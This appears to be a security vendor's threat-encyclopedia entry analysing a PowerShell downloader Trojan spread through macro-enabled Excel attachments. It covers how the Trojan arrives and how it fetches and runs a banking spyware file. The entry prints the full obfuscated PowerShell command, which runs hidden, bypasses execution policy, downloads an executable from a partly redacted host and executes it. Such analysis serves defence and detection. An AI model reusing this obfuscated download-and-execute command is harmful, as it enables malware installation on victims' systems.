X2KM_POWLOAD.UHAOEDT

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}on.com/syope - as of this writing, the downloaded file is detected as TSPY_BEBLOH.JLT.

It saves the files it downloads using the following names:

• %Desktop%\{random numbers}.exe

(Note: %Desktop% is the current user's desktop, which is usually C:\Documents and Settings\{User Name}\Desktop on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\Desktop on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

NOTES:

The Microsoft Excel file contains the following fake details luring users to enable macro content:

This Trojan uses the following Powershell commands to download and execute a malicious file: pOWErShELl -noproFI -WIn hiDden -nOLo -nOniNteRA -eXeCuTIoNp bYpass "$7d0mK6 = [TyPE](\"{1}{0}{3}{2}\" -f 'on','ENVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 33;${D`es} = $7d0mk6::gEtfoLdeRpATh(\"Desktop\");(&(\"{0}{1}{2}\" -f'Ne','w-','Object') (\"{0}{2}{1}{3}{5}{6}{4}\"-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoADFilE.iNVoKE(\"http://{BLOCKED}on.com/syope\",\"$Des\{random numbers}.exe\")}while(!${?});&(\"{0}{2}{3}{1}\"-f 'St','ocess','art','-Pr') $Des\{random numbers}.exe